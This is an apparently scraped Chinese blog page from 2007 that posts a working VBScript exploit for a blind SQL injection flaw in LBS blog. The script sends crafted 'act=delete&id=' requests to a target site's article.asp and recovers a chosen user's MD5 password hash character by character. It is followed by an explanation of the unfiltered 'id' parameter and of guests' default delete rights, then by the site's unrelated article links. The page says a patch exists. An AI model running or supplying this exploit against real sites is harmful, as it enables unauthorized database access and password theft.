LBS blog sql注射漏洞[All version]-官方已有补丁


Posted in Javascript onAugust 26, 2007

呵呵,只是证明下漏洞存在
exp如下,保存为vbs,自己下个程序测试自己吧

'From 剑心
'============================================================================
'使用说明:
' 在命令提示符下:
' cscript.exe lbsblog.vbs 要攻击的网站的博客路径 有效的文章id 要破解的博客用户密码
'如:
' cscript.exe lbsblog.vbs www.xxxx.com/blog/ 1 1
' by loveshell
'============================================================================
On Error Resume Next
Dim oArgs
Dim olbsXML 'XMLHTTP对象用来打开目标网址
Dim TargetURL '目标网址
Dim userid,articleid '博客用户名
Dim TempStr '存放已获取的部分 MD5密码
Dim CharHex '定义16进制字符
Dim charset

Set oArgs = WScript.arguments
If oArgs.count < 1 Then Call ShowUsage()

Set olbsXML = createObject("Microsoft.XMLHTTP")

'补充完整目标网址
TargetURL = oArgs(0)
If LCase(Left(TargetURL,7)) <> "http://" Then TargetURL = "http://" & TargetURL
If right(TargetURL,1) <> "/" Then TargetURL = TargetURL & "/"
TargetURL=TargetURL & "article.asp"

articleid=oArgs(1)
userid=oArgs(2)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")

WScript.echo "LBS blog All version Exploit"&vbcrlf
WScript.echo "By 剑心"&vbcrlf
WScript.echo "http://www.loveshell.net/    Just For fun :)"&vbcrlf&vbcrlf
WScript.echo "+Fuck the site now"&vbcrlf

Call main(TargetURL,BlogName) 

Set oBokeXML = Nothing

'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称:main
'函数功能:主程序,注入获得blog 用户密码
'============================================
Sub main(TargetURL,BlogName)
Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage
For MainOffset = 1 To 40
For SubOffset = 0 To 15
TempLen = 0
    postdata = ""
    postdata = articleid &" and (select left(user_password,"&MainOffset&") from blog_user where user_id=" & userid & ")='" & TempStr&CharHex(SubOffset) &"'"

    OpenURL = TargetURL

olbsXML.open "Post",OpenURL, False, "", ""
    olbsXML.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
olbsXML.send "act=delete&id="& escape(postdata)
GetPage = BytesToBstr(olbsXML.ResponseBody)
'判断访问的页面是否存在
If InStr(GetPage,"deleted")<>0 Then 
'"博客用户不存在或填写的资料有误" 为错误标志 ,返回此标志说明 猜解的 MD5 不正确
'如果得到 0000000000000000 的 MD5 值,请修改错误标志
ElseIf InStr(GetPage,"permission")<>0 Then
TempStr=TempStr & CharHex(SubOffset)
WScript.Echo "+Crack now:"&TempStr
Exit for
Else
WScript.echo vbcrlf & "Something error" & vbcrlf 
WScript.echo vbcrlf & GetPage& vbcrlf 
WScript.Quit
End If 
next
Next
WScript.Echo vbcrlf& "+We Got It:" & TempStr & vbcrlf &vbcrlf&":P Don't Be evil"
End sub

'============================================
'函数名称:BytesToBstr
'函数功能:将XMLHTTP对象中的内容转化为GB2312编码
'============================================
Function BytesToBstr(body)
dim objstream
set objstream = createObject("ADODB.Stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function

'============================
'函数名称:ShowUsage
'函数功能:使用方法提示
'============================
Sub ShowUsage()
WScript.echo " LBS blog Exploit" & vbcrlf & " By Loveshell/剑心"
WScript.echo "Usage:"& vbcrlf & " CScript " & WScript.ScriptFullName &" TargetURL BlogName"
WScript.echo "Example:"& vbcrlf & " CScript " & WScript.ScriptFullName &" http://www.loveshell.net/ 1 1"
WScript.echo ""
WScript.Quit
End Sub

漏洞说明:

src_article.asp中的
......
input["log_id"]=func.checkInt(input["log_id"]);
if(!input["id"]){
strError=lang["invalid_parameter"];
}else{
// Check if the article exists
theArticle.load("log_id, log_authorID, log_catID","log_id="+input["id"]);
strError=false;
}
......

过滤的是log_id,但是使用的确实id,呵呵 :)

然后呢?
class/article.asp中的代码
this.load = function(strselect, strwhere){
var tmpA=connBlog.query("select TOP 1 "+strselect+" FROM [blog_Article] where "+strwhere);
if(tmpA){
this.fill(tmpA[0]);
return true;
}else{
return false;
}
}

上面不用说了吧,呵呵.不过触发要条件的,看能满足不哦!

function articledelete(){
if(theUser.rights["delete"]<1){
// Check User Right - without DB Query
pageHeader(lang["error"]);
redirectMessage(lang["error"], lang["no_rights"], lang["goback"], "javascript:window.history.back();", false, "errorbox");
}else{
var theArticle=new lbsArticle();
var strError;

默认情况下guest都有删除权限的,尽管后面还做了判断,但是注入已经发生,而我们正好利用他的判断注射,呵呵

Javascript 相关文章推荐
javascript下数值型比较难点说明
Jun 07 Javascript
Javascript动态绑定事件的简单实现代码
Dec 25 Javascript
JavaScript高级程序设计 读书笔记之八 Function类及闭包
Feb 27 Javascript
jquery操作HTML5 的data-*的用法实例分享
Aug 17 Javascript
jquery中JSON的解析方式
Mar 16 Javascript
jquery+ajax请求且带返回值的代码
Aug 12 Javascript
DWR中各种java方法的调用
May 04 Javascript
使用jquery获取url及url参数的简单实例
Jun 14 Javascript
浅谈Emergence.js 检测元素可见性的 js 插件
Nov 18 Javascript
Vue路由对象属性 .meta $route.matched详解
Nov 04 Javascript
微信小程序实现轨迹回放的示例代码
Dec 13 Javascript
Vue学习之组件用法实例详解
Jan 06 Javascript
javascript下操作css的float属性的特殊写法
Aug 22 #Javascript
ASP中用Join和Array,可以加快字符连接速度的代码
Aug 22 #Javascript
可以把编码转换成 gb2312编码lib.UTF8toGB2312.js
Aug 21 #Javascript
lib.utf.js
Aug 21 #Javascript
javascript实现上传图片前的预览(TX的面试题)
Aug 20 #Javascript
fix-ie5.js扩展在IE5下不能使用的几个方法
Aug 20 #Javascript
关于恒等于(===)和非恒等于(!==)
Aug 20 #Javascript
You might like
php 使用GD库为页面增加水印示例代码
2014/03/24 PHP
PHP中echo,print_r与var_dump区别分析
2014/09/29 PHP
php实现往pdf中加数字签名操作示例【附源码下载】
2018/08/07 PHP
PHP利用百度ai实现文本和图片审核
2019/05/08 PHP
PHP读取Excel内的图片(phpspreadsheet和PHPExcel扩展库)
2019/11/19 PHP
phpQuery采集网页实现代码实例
2020/04/02 PHP
(function(){})()的用法与优点
2007/03/11 Javascript
Prototype Class对象学习
2009/07/19 Javascript
JS中图片缓冲loading技术的实例代码
2013/08/29 Javascript
输入自动提示搜索提示功能的使用说明:sugggestion.txt
2013/09/02 Javascript
用Jquery.load载入页面后样式没了页面混乱的解决方法
2014/10/20 Javascript
javascript实现的图片切割多块效果实例
2015/05/07 Javascript
JavaScript正则表达式中的ignoreCase属性使用详解
2015/06/16 Javascript
jQuery中的Deferred和promise 的区别
2016/04/03 Javascript
JavaScript高仿支付宝倒计时页面及代码实现
2016/10/21 Javascript
JS实现图片垂直居中显示小结
2016/12/13 Javascript
用Javascript实现发送短信验证码间隔功能
2021/02/08 Javascript
Python字符串切片操作知识详解
2016/03/28 Python
python使用socket创建tcp服务器和客户端
2018/04/12 Python
Django 简单实现分页与搜索功能的示例代码
2019/11/07 Python
python pyenv多版本管理工具的使用
2019/12/23 Python
利用 Python ElementTree 生成 xml的实例
2020/03/06 Python
解决c++调用python中文乱码问题
2020/07/29 Python
Python内存泄漏和内存溢出的解决方案
2020/09/26 Python
Django集成MongoDB实现过程解析
2020/12/01 Python
基于 HTML5 WebGL 实现的垃圾分类系统
2019/10/08 HTML / CSS
Kidsroom台湾:来自德国的婴儿用品
2017/12/11 全球购物
波兰家居饰品和厨房配件网上商店:Maleomi
2020/12/15 全球购物
Linux如何压缩可执行文件
2013/10/21 面试题
常用UNIX 命令(Linux的常用命令)
2015/12/26 面试题
工作过失检讨书
2014/02/23 职场文书
幼儿园辞职书
2015/02/26 职场文书
2015年预备党员自我评价
2015/03/04 职场文书
《一面五星红旗》教学反思
2016/02/23 职场文书
什么是SOLID
2022/03/24 Javascript
Springboot集成kafka高级应用实战分享
2022/08/14 Java/Android